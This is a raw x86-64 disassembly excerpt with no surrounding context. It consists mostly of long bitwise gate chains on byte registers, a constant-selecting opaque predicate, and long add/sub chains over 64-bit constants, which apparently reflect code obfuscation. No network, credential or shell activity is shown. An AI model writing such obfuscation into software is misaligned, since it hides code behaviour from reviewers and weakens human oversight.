xor dl, 1
and dl, r8b
or r8b, r13b
and r13b, cl
or r13b, dl
mov ecx, r8d
xor cl, r13b
xor r13b, 1
or r13b, r8b
xor cl, 1
xor r13b, 1
or r13b, cl
mov ebx, esi
xor bl, 1
mov r14d, esi
or r14b, bl
mov ecx, r14d
xor cl, 1
mov edi, ecx
and dil, r14b
mov r12d, edi
and r12b, cl
xor dil, cl
or cl, bl
mov edx, ebx
and bl, sil
mov r8d, esi
xor r8b, bl
xor bl, 1
or dl, bl
xor dl, 1
or dl, r8b
mov r8d, eax
xor r8b, 1
xor dl, r8b
mov r11d, edx
xor r11b, 1
mov r10d, r11d
and r10b, r8b
mov r9d, r10d
xor r10b, dl
xor r9b, 1
or r9b, r11b
xor r9b, 1
or r9b, r10b
mov edx, r8d
and dl, al
xor dl, 1
mov r10d, eax
xor r10b, dl
or dl, al
xor dl, 1
or dl, r10b
or r8b, al
mov eax, edx
xor al, r8b
or r8b, dl
xor r8b, 1
or r8b, al
or dil, r12b
mov eax, ebx
xor al, sil
or bl, sil
xor bl, 1
or bl, al
xor bl, dil
xor r14b, sil
xor cl, 1
or cl, r14b
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and al, r8b
xor r8b, 1
and r8b, cl
or r8b, al
mov eax, r9d
xor al, 1
mov ecx, r9d
or cl, al
xor al, cl
or cl, r9b
xor cl, 1
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r8d
xor cl, 1
or cl, r8b
xor cl, 1
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, al
and cl, dl
and dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor r8b, r9b
and r9b, r8b
xor r8b, 1
mov eax, r9d
and al, r8b
xor r8b, r9b
or r8b, al
mov eax, r8d
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
or cl, r8b
and r8b, dl
xor cl, 1
or r8b, al
mov eax, ecx
and al, r8b
xor r8b, cl
mov ecx, r13d
xor cl, 1
or r8b, al
movzx r9d, byte [rbp + 0x3b]
mov eax, r9d
or al, r13b
xor al, 1
mov edx, ecx
movzx r10d, byte [rbp + 0x3c]
or dl, r10b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
mov eax, edx
xor al, r13b
xor dl, al
and dl, al
mov eax, ecx
and al, r13b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, r10d
xor al, r10b
xor al, 1
or al, r10b
and r13b, r10b
mov ebx, r9d
and bl, cl
or r13b, bl
mov ebx, eax
xor bl, 1
xor r13b, 1
or r13b, cl
mov ecx, r13d
xor cl, 1
and cl, al
or al, r13b
xor al, 1
and r13b, bl
or r13b, cl
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov eax, edx
xor al, 1
mov ecx, edx
xor cl, al
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov r10d, eax
xor r10b, 1
and cl, dl
mov ebx, eax
or bl, r10b
mov r9d, ebx
xor r9b, 1
mov edx, ebx
and dl, r9b
mov r11d, ebx
and r11b, dl
xor dl, bl
or dl, r11b
mov r11d, ecx
xor r11b, 1
mov ebx, edx
xor bl, 1
and bl, r11b
and dl, cl
or dl, bl
mov ebx, r9d
xor bl, cl
or cl, r9b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r11d, r13d
xor r11b, 1
mov edx, r11d
and dl, r13b
mov r9d, r11d
and r9b, dl
xor dl, r11b
or dl, r9b
xor dl, 1
mov ebx, r13d
or bl, r11b
xor bl, 1
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
mov edx, ecx
xor dl, 1
and cl, dl
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov r9d, ebx
xor r9b, 1
mov edx, r9d
and dl, bl
xor r9b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r9b
xor dl, cl
and r11b, r10b
and al, r13b
or al, r11b
mov ecx, r10d
and cl, r13b
xor r10b, r13b
mov r9d, edx
xor r9b, 1
or r10b, cl
xor al, 1
mov ecx, eax
xor cl, r10b
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor dl, al
xor al, 1
or al, r9b
xor al, 1
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov r9d, r8d
xor r9b, 1
mov edx, r9d
and dl, r8b
xor dl, 1
mov ebx, r8d
xor bl, dl
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, r9d
or bl, r8b
mov ecx, ebx
xor cl, 1
and cl, bl
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
xor dl, 1
xor cl, dl
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, 1
mov r13d, ecx
and r13b, al
mov r10d, r13d
and r10b, cl
mov r11d, r13d
xor r11b, cl
or r11b, r10b
mov r10d, ebx
xor r10b, 1
mov edx, ebx
and dl, r10b
mov esi, edx
and sil, bl
xor dl, bl
or dl, sil
xor dl, r11b
or cl, bl
xor r10b, al
xor cl, 1
or cl, r10b
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, cl
xor bl, 1
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor r13b, 1
mov ecx, eax
xor cl, r13b
or r13b, al
mov eax, edx
xor al, 1
xor r13b, 1
or r13b, cl
mov ecx, r13d
xor cl, 1
and cl, r8b
or r8b, r13b
xor r8b, 1
and r13b, r9b
or r13b, cl
mov ecx, r8d
and cl, r13b
xor r13b, r8b
or r13b, cl
mov ecx, r13d
xor cl, 1
and r13b, cl
mov ebx, ecx
and bl, r13b
xor r13b, cl
or r13b, bl
mov ecx, r13d
xor cl, 1
and dl, r13b
and r13b, cl
mov ebx, ecx
and bl, r13b
xor r13b, cl
and cl, al
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
or r13b, bl
xor r13b, al
mov eax, edx
xor al, r13b
mov ecx, eax
xor cl, 1
or r13b, dl
xor r13b, 1
or r13b, al
xor al, r13b
xor al, 1
or r13b, cl
xor r13b, 1
or r13b, al
movzx r9d, byte [rbp + 0x28]
or r9b, byte [rbp + 0x39]
mov eax, r9d
movzx ecx, byte [rbp + 0x3d]
xor al, cl
or r9b, cl
xor r9b, 1
or r9b, al
movzx edx, byte [rbp + 0x2c]
movzx ebx, byte [rbp + 0x37]
xor dl, bl
or dl, byte [rbp + 0x3a]
xor dl, byte [rbp + 0x27]
mov eax, ebx
movzx esi, byte [rbp + 0x26]
and al, sil
xor sil, bl
or sil, al
xor sil, 1
mov eax, edx
and al, sil
xor sil, dl
or sil, al
mov eax, esi
xor al, 1
mov edx, eax
and dl, sil
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, sil
xor dl, 1
or dl, bl
xor dl, r9b
mov byte [rbp + 0x2c], dl
mov edx, r9d
mov r11d, r9d
mov r10d, eax
mov byte [rbp + 0x3d], al
xor r10b, sil
and sil, r9b
xor r9b, 1
mov byte [rbp + 0x28], r9b
xor dl, r9b
xor r11b, dl
xor r11b, 1
and r11b, dl
movzx r9d, byte [rbp + 0x38]
mov r14d, r9d
xor r14b, 1
mov edi, r10d
xor dil, al
and dil, r10b
mov eax, r15d
xor al, 1
and r15b, al
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
xor r15b, 1
mov ecx, r15d
xor cl, al
or r15b, al
xor r15b, 1
or r15b, cl
mov eax, r11d
xor al, 1
mov ecx, eax
and cl, r11b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov ebx, ecx
xor bl, 1
or al, r11b
mov edx, eax
xor dl, 1
and cl, bl
and dl, al
xor cl, 1
mov r10d, ecx
xor r10b, bl
or cl, bl
xor cl, 1
or cl, r10b
xor dl, 1
mov r10d, edx
xor r10b, al
or dl, al
xor dl, 1
or dl, r10b
mov r10d, ecx
xor r10b, 1
and r10b, dl
xor dl, 1
and dl, cl
or dl, r10b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor dl, 1
mov r11d, edx
xor r11b, al
or dl, al
mov eax, r9d
and al, r14b
mov r10d, eax
mov r8d, eax
xor al, 1
mov r12d, eax
xor r12b, r14b
or al, r14b
xor al, 1
or al, r12b
xor al, bl
mov r12d, ebx
and r12b, r14b
xor bl, r14b
mov ecx, r14d
or cl, r9b
xor dl, 1
or dl, r11b
mov r14d, ecx
xor r14b, 1
and r10b, r9b
xor r8b, r9b
or r8b, r10b
mov r11d, r14d
and r11b, cl
xor r11b, 1
mov r10d, r11d
xor r10b, cl
or r11b, cl
xor r11b, 1
or r11b, r10b
xor r11b, r8b
mov ecx, r9d
xor cl, r14b
or r14b, r9b
mov r10d, r15d
xor r10b, 1
xor r11b, 1
xor r14b, 1
or r14b, cl
mov ecx, r11d
xor cl, r14b
or r14b, r11b
xor r14b, 1
or r14b, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
and cl, r14b
xor r14b, 1
xor dl, 1
and dl, r14b
or cl, dl
or bl, r12b
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov r8d, ebx
xor r8b, 1
xor cl, 1
mov eax, r8d
and al, bl
mov edx, eax
xor dl, 1
xor al, r8b
or dl, bl
xor dl, 1
or dl, al
xor dl, cl
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r8d, edi
xor r8b, 1
mov edx, r8d
or dl, dil
mov r11d, edx
xor r11b, 1
mov eax, r10d
xor al, r15b
and al, r10b
and r11b, r8b
mov ebx, edx
and bl, dil
or bl, r11b
mov r11d, edx
and r11b, r8b
xor dl, r8b
or dl, r11b
xor bl, 1
mov r11d, ebx
xor r11b, dl
or bl, dl
xor bl, 1
or bl, r11b
mov r11d, eax
xor r11b, 1
mov edx, r11d
and dl, al
mov r14d, r11d
and r14b, dl
xor dl, r11b
or dl, r14b
mov r14d, r15d
or r14b, r10b
xor r11b, r14b
xor r14b, 1
xor dl, r14b
or al, r14b
xor dl, 1
xor al, 1
or al, r11b
xor al, 1
mov r11d, edx
and r11b, al
xor al, dl
or al, r11b
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov r11d, eax
xor r11b, dl
or al, dl
xor al, 1
or al, r11b
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
or al, dl
and r15b, r10b
xor r15b, 1
mov edx, r15d
xor dl, r10b
or r15b, r10b
xor r15b, 1
or r15b, dl
mov edx, r15d
and dl, dil
xor r15b, 1
and r15b, r8b
or r15b, dl
mov edx, edi
and dl, r10b
xor r10b, dil
or r10b, dl
xor r15b, 1
mov edx, r15d
xor dl, r10b
or r15b, r10b
xor r15b, 1
or r15b, dl
mov edx, r15d
xor dl, 1
and r15b, dl
mov ebx, edx
and bl, r15b
xor r15b, dl
or r15b, bl
mov edx, r15d
xor dl, 1
mov ebx, eax
xor bl, 1
and r15b, bl
or bl, dl
and dl, al
or dl, r15b
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor cl, 1
mov ebx, edx
xor bl, cl
mov eax, edx
or al, cl
xor al, 1
or al, bl
xor al, 1
and cl, dl
or cl, bl
mov edi, ecx
xor dil, 1
mov edx, eax
xor dl, cl
and cl, dil
xor cl, 1
mov r8d, edi
xor r8b, cl
or cl, dil
xor cl, 1
or cl, r8b
xor cl, al
xor dl, 1
or dil, al
xor dil, 1
or dil, dl
mov eax, ecx
xor al, dil
or dil, cl
xor dil, 1
or dil, al
movzx eax, byte [rbp + 0x3d]
movzx ecx, byte [rbp + 0x28]
and al, cl
or sil, al
xor sil, 1
or sil, cl
mov ecx, esi
xor cl, 1
movzx edx, byte [rbp + 0x2c]
mov eax, edx
xor al, 1
and al, sil
or sil, dl
xor sil, 1
and cl, dl
or cl, al
mov eax, esi
and al, cl
xor cl, sil
or cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
mov r8d, eax
xor r8b, cl
or al, cl
xor al, 1
or al, r8b
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov r8d, edi
xor r8b, 1
mov ecx, r8d
or cl, dil
xor cl, 1
mov r10d, eax
or r10b, r9b
mov r11d, r10d
xor r11b, 1
mov r15d, r9d
xor r15b, al
and r15b, r9b
mov esi, ecx
xor sil, r8b
mov edx, edi
and dl, r8b
mov r14d, edx
and r14b, dil
xor dl, dil
or dl, r14b
xor dl, cl
xor sil, 1
or cl, dil
xor cl, 1
or cl, sil
xor dl, 1
mov esi, edx
xor sil, cl
or dl, cl
xor dl, 1
or dl, sil
mov esi, r15d
xor sil, 1
mov r14d, r11d
and r14b, r10b
mov ebx, r15d
and bl, sil
mov ecx, r14d
xor cl, 1
xor r14b, r11b
or cl, r10b
xor cl, 1
or cl, r14b
mov r14d, ebx
and r14b, r15b
xor bl, r15b
or bl, r14b
mov r14d, ecx
xor r14b, 1
and r14b, bl
xor bl, 1
and bl, cl
or bl, r14b
xor sil, r10b
or r15b, r11b
xor r15b, 1
or r15b, sil
xor bl, 1
mov ecx, ebx
xor cl, r15b
or bl, r15b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
and bl, cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r8b, r9b
and al, dil
or al, r8b
mov edx, edi
and dl, r9b
xor r9b, dil
or r9b, dl
xor al, 1
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or al, cl
or dl, al
xor al, bl
xor al, 1
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
xor dl, 1
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
xor bl, 1
mov r8d, edx
or r8b, bl
xor r8b, 1
mov ecx, edx
xor cl, bl
or r8b, cl
and bl, cl
and cl, dl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov r9d, r8d
xor r9b, cl
xor cl, 1
or cl, r8b
xor cl, 1
xor r9b, 1
mov edx, ecx
and dl, r9b
xor r9b, cl
or r9b, dl
mov ebx, r9d
xor bl, 1
mov ecx, ebx
and cl, r9b
mov eax, ecx
xor al, 1
mov r8d, ebx
xor r8b, cl
or al, r9b
xor al, 1
or al, r8b
mov edx, eax
xor dl, 1
and dl, al
mov eax, edx
xor al, 1
and r9b, al
or al, bl
and dl, bl
or dl, r9b
xor dl, 1
mov r9d, eax
xor r9b, dl
or dl, al
xor dl, 1
or dl, r9b
and cl, bl
or cl, r8b
xor cl, 1
mov eax, ecx
or al, dl
xor cl, dl
xor cl, 1
and cl, dl
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov r9d, r13d
xor r9b, 1
mov eax, ecx
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r11d, r13d
or r11b, r9b
mov edx, r9d
xor dl, al
xor al, 1
or al, r13b
xor al, 1
mov r10d, eax
and r10b, dl
xor al, dl
or al, r10b
mov r10d, eax
xor r10b, 1
and r10b, al
xor r10b, 1
mov edx, eax
xor dl, r10b
or r10b, al
mov esi, r11d
and sil, r9b
xor r10b, 1
or r10b, dl
mov edx, r11d
xor dl, 1
xor cl, r8b
and cl, r8b
and dl, r11b
mov eax, r11d
and al, dl
xor dl, r11b
xor r11b, r9b
mov ebx, r9d
and bl, r13b
or dl, al
xor bl, 1
mov eax, r13d
xor al, bl
or bl, r13b
mov r8d, r10d
xor r8b, 1
xor bl, 1
or bl, al
xor bl, dl
or r11b, sil
mov eax, r11d
xor al, bl
xor bl, 1
xor al, 1
or bl, r11b
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
and bl, cl
or bl, al
mov r9d, ebx
xor r9b, 1
mov edx, r8d
xor dl, r10b
and dl, r8b
mov eax, r10d
or al, r8b
xor al, dl
mov r11d, r9d
or r11b, bl
mov ecx, eax
xor cl, 1
and al, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, ebx
and dl, r9b
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r11b
xor r11b, 1
and dl, r11b
or dl, cl
mov ecx, r9d
xor cl, r11b
or r11b, r9b
xor r11b, 1
or r11b, cl
xor r11b, 1
mov ecx, edx
and cl, r11b
xor r11b, dl
or r11b, cl
mov edx, r11d
xor dl, 1
and dl, r11b
xor dl, 1
mov ecx, r11d
xor cl, dl
or dl, r11b
xor dl, 1
or dl, cl
xor dl, al
and r9b, r10b
and r8b, bl
or r8b, r9b
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
xor bl, 1
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xe83cba98
mov ebx, 0x5a9e859b
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0xe83cba98
cmovne eax, ebx
test cl, 1
mov ecx, dword [rbp + 0x30]
mov word [rbp + 0xcc], cx
cmovne eax, edx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
movabs rax, 0xaa9e5fbcea3c86df
sub rax, qword [rbp + 0xa0]
sub rax, qword [rbp - 8]
movabs rcx, 0x9839f59fc1edc23a
mov rdx, rcx
sub rax, rcx
sub rax, qword [rbp]
movabs rcx, 0x804f2bb67ffa8c18
add rax, rcx
movabs rcx, 0x10ebdba4d9fc582e
add rax, rcx
add rax, rdx
movabs rcx, 0x65d09b08b7473796
add rax, rcx
movabs rcx, 0x7d91a25dd93226fc
add rax, rcx
movabs rbx, 0x5c8c815c3942eda4
mov rcx, rbx
movabs rdx, 0xee9eb16035c1dbea
sub rcx, rdx
sub rcx, rbx
movabs rbx, 0x5d0523f5e2c7bb8c
sub rcx, rbx
movabs rdi, 0x36a354cca3f3356e
sub rcx, rdi
add rcx, rbx
add rcx, rdx
movabs rdx, 0x5c2e25de45b63e12
sub rdx, rcx
movabs rcx, 0x23f32e4ff71edb6a
add rdx, rcx
mov rbx, qword [rbp - 0x78]
sub rbx, rdx
add rbx, rcx
movabs rdi, 0xff3bd8ed533e22f
mov rcx, rdi
sub rcx, rbx
movabs rsi, 0x249820284919bc06
mov rdx, rsi
movabs rbx, 0xc1d0d0b50640c1fc
sub rdx, rbx
add rax, rsi
movabs rsi, 0xdb500817de6d9ec1
add rdx, rsi
sub rax, rdx
movabs r8, 0xad1f440f1204af12
sub rax, r8
add rax, rsi
movabs rdx, 0xb957d03bd181fe80
sub rax, rdx
sub rax, rbx
movabs rbx, 0x62acf9f36f1d82b1
sub rax, rbx
add rax, rdx
add rax, rbx
movabs rdx, 0x25bd52b77853b572
add rax, rdx
movabs rbx, 0x39227280205e2145
add rax, rbx
movabs rsi, 0x76a676e86bee527
sub rax, rsi
sub rax, rbx
movabs rbx, 0xa7fd5416ed5a6c4d
sub rax, rbx
sub rax, rdx
add rax, rbx
movabs rbx, 0xc81a5e8879303fee
mov rdx, rbx
sub rdx, rax
movabs rax, 0xe3623d6690795e92
add rdx, rax
add rdx, rdi
add rcx, rbx
sub rdx, rcx
movabs rax, 0xe45e16c3e3f64b9c
mov rcx, rax
sub rdx, rax
movabs rax, 0x43b84ec82839859
mov rbx, rax
add rax, rsi
sub rdx, rax
add rdx, rbx
add rdx, rcx
movabs rax, 0x8500451963d81ca3
sub rdx, rax
movabs rcx, 0x733a1b1aa6e1295c
mov rbx, rcx
sub rdx, rcx
add rdx, rax
movabs rax, 0x8e232c669762246a
mov rcx, rax
sub rcx, rdx
add rcx, r8
movabs rdx, 0x56962b3a3d038981
sub rcx, rdx
sub rcx, rax
add rcx, rdx
movabs rax, 0x9994fd142af34ee4
add rcx, rax
movabs rdx, 0x6f90e029b83a3278
add rcx, rdx
sub rcx, rax
movabs rax, 0x7f5c66faff8b0c52
sub rcx, rax
sub rcx, rbx
add rcx, rax
movabs rax, 0xa8dcfc7174960a1c
mov rbx, rax
add rcx, rax
sub rcx, rdx
movabs rdx, 0xfd1be3b3f85fed01
movabs rax, 0xc925b1d1a09062eb
mov rdi, rax
sub rdx, rax
movabs rax, 0xd641d4db7765e525
add rdx, rax
mov rax, qword [rbp - 0x70]
sub rax, rdx
movabs rdx, 0xc87ad5c0931c3cb6
add rax, rdx
add rax, rbx
movabs rbx, 0xfe70c157df57a97
add rcx, rbx
sub rax, rcx
add rax, rbx
movabs rcx, 0x3378c4b859589fc8
add rax, rcx
sub rax, rdx
sub rax, rcx
movabs rcx, 0x3d4cbd74a2b42b8
add rax, rcx
movabs rdx, 0x6458e0e40bc2b23b
sub rax, rdx
sub rax, rcx
sub rax, rdi
add rax, rdx
movabs rcx, 0xbeff6e4ccdeaa6d3
mov rdx, rcx
movabs rcx, 0x7d76944853e787d2
mov rbx, rcx
add rcx, rdx
sub rax, rcx
add rax, rbx
movabs rcx, 0x3620a3a722e7524d
add rax, rcx
movabs rbx, 0x9757db98337e5810
add rax, rbx
sub rax, rcx
movabs rcx, 0x10dfbaed5a69f1c8
sub rax, rcx
movabs rcx, 0x380fbe600e23c78f
sub rax, rcx
sub rax, rbx
add rax, rcx
movabs rcx, 0x1bf81ab895637e84
add rax, rcx
add rax, rdx
sub rax, rcx
mov rcx, qword [rbp + 0xb0]
movzx r8d, word [rcx + 0x10]
movabs rdx, 0xafa7a4944dfa1e7
add rax, rdx
movabs rbx, 0x8bc28fe21954c76a
sub rax, rbx
sub rax, rdx
movabs rdx, 0x40272ebbee83104c
sub rax, rdx
movabs rdi, 0x1cd7236bb83cc0b0
add rax, rdi
movabs rdi, 0x4b6207b71adb5181
add rax, rdi
add rax, rdx
add rax, rbx
movabs rdx, 0x34f9098e748284e9
add rax, rdx
movabs rbx, 0x5ca2bb44b7b959f9
sub rax, rbx
movabs rdi, 0xe13867000f4184a2
add rax, rdi
add rax, rbx
movabs rbx, 0x32e7263314c1129c
sub rax, rbx
movabs rsi, 0xc8deb42fe82f5baa
mov r9, rsi
sub rax, rsi
add rax, rbx
movabs rbx, 0x8e1a814c5b609086
add rax, rbx
sub rax, rdi
sub rax, rbx
movabs rbx, 0xb5184b13e5ec3845
add rax, rbx
movabs rdi, 0xbc23286541af9874
sub rax, rdi
sub rax, rdx
sub rax, rbx
add rax, rdi
movabs rdx, 0x68a2edc0583202a0
add rax, rdx
movabs rbx, 0x55616901f94d59f7
sub rax, rbx
movabs rdi, 0x431ef9226306564f
sub rax, rdi
add rax, rbx
movabs rbx, 0x97c6d4dd2ce7edcf
add rax, rbx
add rax, rdi
movabs rbx, 0x29cd8bc622f3af93
add rax, rbx
movabs rdi, 0xd6d59daca64abcf1
add rax, rdi
sub rax, rbx
sub rax, rdx
movabs rdx, 0x89909990be2f3457
sub rax, rdx
sub rax, rdi
add rax, rdx
movabs rdx, 0x66e660da1ebf1920
add rax, rdx
sub rdx, rax
movabs rax, 0x2131df6363b191f6
add rdx, rax
movabs rax, 0x4fd16bcaa898aff6
add rdx, rax
movabs rcx, 0xc591d55eb7bf2ccc
add rdx, rcx
movabs rax, 0xe17ffbfb3417a27a
mov rbx, rax
movabs rax, 0x6f585036ecc3131a
mov rdi, rax
add rax, rbx
movabs rsi, 0xfefdd17e1e631cdc
sub rax, rsi
sub rax, rbx
movabs rbx, 0xd5209928f1e3ae62
add rax, rbx
sub rax, rdi
sub rax, rbx
movabs rbx, 0xa9bea60229403073
sub rax, rbx
movabs rdi, 0xd2805d9cf6b97667
sub rax, rdi
add rax, rbx
movabs rbx, 0x1e75ee0f8d7c51ff
sub rax, rbx
sub rax, r8
add rax, rbx
movabs rbx, 0x68d0d41702233cdc
add rax, rbx
add rax, rdi
sub rax, rbx
movabs rbx, 0x33356027cca3b1ed
add rax, rbx
add rax, rsi
movabs rdi, 0x8d38de1f2e51c006
mov r8, rdi
add rax, rdi
sub rax, rbx
sub rcx, rdx
movabs rsi, 0xa91ee242b181e528
mov rdx, rsi
movabs rbx, 0xd5adeb34e13aedd2
mov r10, rbx
sub rdx, rbx
sub rdx, rsi
movabs rsi, 0x271789bdd750d841
sub rdx, rsi
movabs rdi, 0xa25cd7a79c504f5c
add rcx, rdi
movabs rbx, 0x71034b2e0c4a41ec
add rcx, rbx
sub rcx, rdi
add rcx, rdx
add rcx, rsi
movabs rdx, 0xd504180f87dfda65
sub rcx, rdx
add rcx, r10
add rcx, rdx
mov rdx, r8
movabs rbx, 0xb4434d6d1e2ca325
sub rdx, rbx
movabs rdi, 0xd1801e68da23676b
add rax, rdi
sub rdx, rax
add rdx, rbx
movabs rax, 0xc11cc5ed5812e3d7
mov rbx, rax
add rdx, rax
add rdx, rdi
movabs rax, 0xb1d166dc3cae3bfb
add rcx, rax
sub rax, rcx
movabs rcx, 0x547b44af903a88c9
add rdx, rcx
add rax, rbx
sub rax, rdx
add rax, rcx
movabs rdx, 0xcc663358eba7a859
mov rcx, rdx
sub rcx, rax
movabs rax, 0x8e958ddfe6b115bf
mov rbx, rax
add rax, rdx
movabs rdx, 0xee520ae11917e93f
add rcx, rdx
sub rax, rcx
add rax, rdx
movabs rcx, 0x428845abec3c6648
sub rax, rcx
sub rax, rbx
add rax, rcx
movabs rcx, 0xba2ab9f106d2bce5
add rax, rcx
movabs rdx, 0x95f70d48c49c31d4
add rax, rdx
sub rcx, rax
add rcx, rdx
movabs rdx, 0x7a06b359afda6aee
add rcx, rdx
movabs rax, 0x325cf0d7c0b647cb
mov rbx, rax
add rcx, rax
sub rdx, rcx
movabs rax, 0x4080c42f772f1ab5
add rdx, rax
sub rax, rdx
movabs rdx, 0xf56c7a71d47312ca
mov rcx, rdx
sub rcx, rbx
sub rcx, rdx
movabs rdx, 0x73ee771fa5830508
sub rax, rdx
add rax, rcx
movabs rcx, 0x3c4b9fbf9b6f757e
mov rbx, rcx
add rax, rcx
movabs rcx, 0xf9da2ce06d6f46b3
add rax, rcx
add rax, rdx
add rax, r9
movabs rdx, 0x124529c04bc0eb4c
sub rax, rdx
movabs rdi, 0xb2ff2fb27b3a38c3
sub rax, rdi
add rax, rdx
movabs rdx, 0xf55c0af39dcac311
add rax, rdx
sub rax, rcx
sub rax, rdx
movabs rcx, 0xe9fb1523775016f3
add rax, rcx
add rax, rdi
sub rax, rcx
movabs rcx, 0xdb6ba1ccb68cbbde
mov rdx, rcx
movabs rcx, 0x87c6054640031e04
mov rdi, rcx
add rcx, rdx
sub rcx, rbx
sub rcx, rdi
sub rcx, rdx
add rcx, rax
movzx eax, word [rbp + 0xce]
shl rax, 3
lea rdx, [rax + rax*4]
mov rax, qword [rbp - 0x68]
sub rax, rdx
movabs rdx, 0x2d970241f7c80746
add rcx, rdx
movabs rbx, 0xf835975916873ab8
sub rcx, rbx
sub rcx, rdx
movabs rdx, 0x751401259fdac416
sub rcx, rdx
movabs rbx, 0x201fc026e8fa3aa
sub rcx, rbx
add rcx, rdx
movabs rdx, 0x1fbb0f87dd01f18e
add rcx, rdx
movabs rdx, 0x210321a7b2c0d3e5
add rcx, rdx
movabs rdx, 0x519c7ffe358ca79c
add rcx, rdx
movabs rbx, 0xb155a8394ccf935e
add rcx, rbx
sub rcx, rdx
movabs rdx, 0xa08628b3c4fbcbf8
add rcx, rdx
movabs rdi, 0x32770dc95d902925
add rcx, rdi
sub rcx, rdx
movabs rdx, 0x354de9af10fcaabf
add rcx, rdx
sub rcx, rbx
sub rcx, rdx
movabs rdx, 0x512e1159eceb6381
sub rcx, rdx
movabs rbx, 0x99351afecca692a1
add rcx, rbx
add rcx, rdx
movabs rdx, 0xbfaaa5a410c51aa6
add rcx, rdx
movabs rsi, 0xcb59ca33fbfc47b6
sub rcx, rsi
sub rcx, rdx
movabs rdx, 0xc86c9a07cc875e8d
add rcx, rdx
sub rcx, rbx
sub rcx, rdx
movabs rdx, 0xebc81909e883370a
mov r8, rdx
add rdx, rdi
sub rcx, rdx
movabs rdx, 0x5d36d311da12cf3b
mov rdi, rdx
movabs rdx, 0xccdb37ab6cf35571
mov rsi, rdx
add rdx, rdi
movabs rbx, 0x46869dd40aabe711
sub rdx, rbx
sub rdx, rdi
